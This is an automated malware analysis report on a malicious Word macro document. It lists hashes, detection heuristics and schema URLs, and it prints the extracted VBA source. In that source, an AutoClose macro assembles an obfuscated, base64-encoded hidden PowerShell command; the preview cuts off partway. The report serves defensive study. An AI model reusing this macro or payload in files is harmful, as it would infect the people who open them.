Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 bec96b074490eddb…

MALICIOUS

Office (OOXML)

28.7 KB Created: 2021-07-26 08:31:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-09-27
MD5: b53c25b6b13bee64588b57932fd8bbe2 SHA-1: b2e5c191c0072d7ff262071e7130fb2b4f596dca SHA-256: bec96b074490eddb76ce4a3d236d2d6a79befd794d022ce52c9509fce2413c16
442 Risk Score

Heuristics 9

  • ClamAV: Doc.Downloader.Pwshell-10001336-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Pwshell-10001336-0
  • VBA project inside OOXML medium 6 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
  • PowerShell reference in VBA critical OLE_VBA_PS
    PowerShell reference in VBA
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 18526 bytes
SHA-256: f0dc24a4e5da48edf7cf3bd794a9d2751aabd26f5850a20d0314e435ae75e6d7
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"
Sub AutoClose()
    i
End Sub

Public Function i() As Variant
    Dim S As String
    S = "powershell -noP -sta -w 1 -enc  JAB7ADAAYABFAHMAVw"
    S = S + "B9AD0AIAAgAFsAdAB5AFAARQBdACgAIgB7ADQAfQB7ADkAfQB7"
    S = S + "ADEAfQB7ADIAfQB7ADEAMwB9AHsAMQA1AH0AewAxADQAfQB7AD"
    S = S + "EAMQB9AHsANwB9AHsAMQAyAH0AewAwAH0AewA1AH0AewAzAH0A"
    S = S + "ewA2AH0AewA4AH0AewAxADAAfQAiAC0ARgAgACcAZwAsAHMAeQ"
    S = S + "BTAHQAJwAsACcAYwB0ACcALAAnAGkAbwBuAFMALgAnACwAJwAu"
    S = S + "ACcALAAnAEMAbwBsAGwAJwAsACcARQBtACcALAAnAE8AQgAnAC"
    S = S + "wAJwBJACcALAAnAEoARQAnACwAJwBlACcALAAnAGMAdAAnACwA"
    S = S + "JwBpAG8ATgBhAFIAeQBbAHMAdAByACcALAAnAG4AJwAsACcARw"
    S = S + "AnACwAJwBJAEMALgBEAEkAQwBUACcALAAnAEUAbgBFAFIAJwAp"
    S = S + "ACAAOwAgACAAJgAoACIAewAwAH0AewAxAH0AIgAtAGYAJwBTAC"
    S = S + "cALAAnAEUAVAAnACkAIAA3AHIANAAgACgAIAAgAFsAdABZAHAA"
    S = S + "RQBdACgAIgB7ADEAfQB7ADMAfQB7ADAAfQB7ADIAfQAiACAALQ"
    S = S + "BGACAAJwB0AEIATAAnACwAJwBzAGMAJwAsACcAbwBDAEsAJwAs"
    S = S + "ACcAcgBJAFAAJwApACAAKQA7ACQAewBLAGAAWgA0AEYAMABXAH"
    S = S + "0AIAA9ACAAWwBUAHkAUABFAF0AKAAiAHsAMAB9AHsAMQB9ACIA"
    S = S + "LQBGACcAcgBlACcALAAnAGYAJwApACAAOwAgACAAIAAkAHsANQ"
    S = S + "A5AGAATwBgADgAYQB9ACAAIAA9ACAAIABbAHQAWQBQAGUAXQAo"
    S = S + "ACIAewA0AH0AewAyAH0AewAxAH0AewA3AH0AewAwAH0AewA1AH"
    S = S + "0AewA2AH0AewAzAH0AIgAtAGYAIAAnAEUAcgB2AGkAJwAsACcA"
    S = S + "bQAuACcALAAnAFkAcwB0AGUAJwAsACcARwBlAHIAJwAsACcAUw"
    S = S + "AnACwAJwBDAEUAcABPAEkAbgBUAE0AJwAsACcAYQBOAEEAJwAs"
    S = S + "ACcAbgBFAHQALgBzACcAKQAgADsAIAAuACgAIgB7ADIAfQB7AD"
    S = S + "AAfQB7ADEAfQAiAC0AZgAgACcAdAAtACcALAAnAEkAVABFAG0A"
    S = S + "JwAsACcAcwBlACcAKQAgACAAKAAnAFYAYQBSACcAKwAnAGkAYQ"
    S = S + "BiAGwAZQA6ACcAKwAnAGQAUgAnACsAJwBIACcAKQAgACgAIAAg"
    S = S + "AFsAdAB5AHAARQBdACgAIgB7ADAAfQB7ADEAfQB7ADIAfQAiAC"
    S = S + "0ARgAnAHQAZQB4AHQALgBlAG4AYwBvAGQAaQAnACwAJwBOACcA"
    S = S + "LAAnAEcAJwApACAAIAApACAAOwAgACAAIAAuACgAIgB7ADIAfQ"
    S = S + "B7ADEAfQB7ADAAfQAiACAALQBmACcAYQBiAGwARQAnACwAJwBW"
    S = S + "AGEAcgBpACcALAAnAHMAZQBUAC0AJwApACAAIAAoACcAOQBOAC"
    S = S + "cAKwAnAGYATwAnACkAIAAgACgAIABbAHQAWQBwAEUAXQAoACIA"
    S = S + "ewAxAH0AewAwAH0AIgAgAC0AZgAgACcAdgBlAHIAdAAnACwAJw"
    S = S + "BDAG8ATgAnACkAIAApACAAOwAkAHsAZQBSAEQAYABLAGEATQB9"
    S = S + "ACAAPQAgAFsAVABZAHAAZQBdACgAIgB7ADQAfQB7ADMAfQB7AD"
    S = S + "IAfQB7ADEAfQB7ADYAfQB7ADAAfQB7ADUAfQAiAC0ARgAgACcA"
    S = S + "dwBlAEIAJwAsACcAbQAuAG4ARQAnACwAJwB0AEUAJwAsACcAWQ"
    S = S + "BzACcALAAnAFMAJwAsACcAUgBlAHEAVQBlAHMAVAAnACwAJwB0"
    S = S + "AC4AJwApADsAIAAgACAAIAAkAHsANABgAFAAZQB9AD0AIAAgAF"
    S = S + "sAdAB5AFAARQBdACgAIgB7ADUAfQB7ADEAfQB7ADcAfQB7ADYA"
    S = S + "fQB7ADAAfQB7ADQAfQB7ADIAfQB7ADMAfQAiACAALQBGACcARA"
    S = S + "AnACwAJwB0AEUAJwAsACcAaQBBAEwAJwAsACcAYwBhAEMASABF"
    S = S + "ACcALAAnAEUAbgB0ACcALAAnAFMAWQBzACcALAAnAE4AZQB0AC"
    S = S + "4AQwByAEUAJwAsACcATQAuACcAKQAgADsAIAAgACYAKAAiAHsA"
    S = S + "MAB9AHsAMQB9ACIAIAAtAGYAIAAnAFMARQAnACwAJwB0ACcAKQ"
    S = S + "AgADkAWABmACAAKABbAFQAeQBwAGUAXQAoACIAewAwAH0AewA0"
    S = S + "AH0AewAxAH0AewAzAH0AewAyAH0AIgAgAC0AZgAgACcAUwBZAH"
    S = S + "MAJwAsACcAVABlAFgAdAAuAGUATgAnACwAJwBpAE4ARwAnACwA"
    S = S + "JwBjAE8ARAAnACwAJwB0AEUAbQAuACcAKQApADsAIABJAEYAKA"
    S = S + "AkAHsAUABTAHYAYABlAGAAUgBzAGkATwBOAFQAQQBgAEIAYABs"
    S = S + "AGUAfQAuACIAcABTAGAAVgBFAHIAYABTAEkATwBuACIALgAiAE"
    S = S + "0AYABBAGoAbwByACIAIAAtAGcAZQAgADMAKQB7ACQAewAwADAA"
    S = S + "MQB9AD0AIAAkAHsASwBgAFoANABmADAAdwB9AC4AIgBBAHMAcw"
    S = S + "BgAEUATQBCAGwAeQAiAC4AKAAiAHsAMQB9AHsAMAB9AHsAMgB9"
    S = S + "ACIAIAAtAGYAJwBFAFQAVABZACcALAAnAEcAJwAsACcAcABFAC"
    S = S + "cAKQAuAEkAbgB2AG8AawBlACgAKAAiAHsANQB9AHsANAB9AHsA
... (truncated)
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 38400 bytes
SHA-256: e85cc6c01a3a4233a6c3b1a4bf483d70e6d4ec72b49e3b7e1dfdce1ca9942b70
Detection
ClamAV: Doc.Downloader.Pwshell-10001336-0
Obfuscation or payload: unlikely

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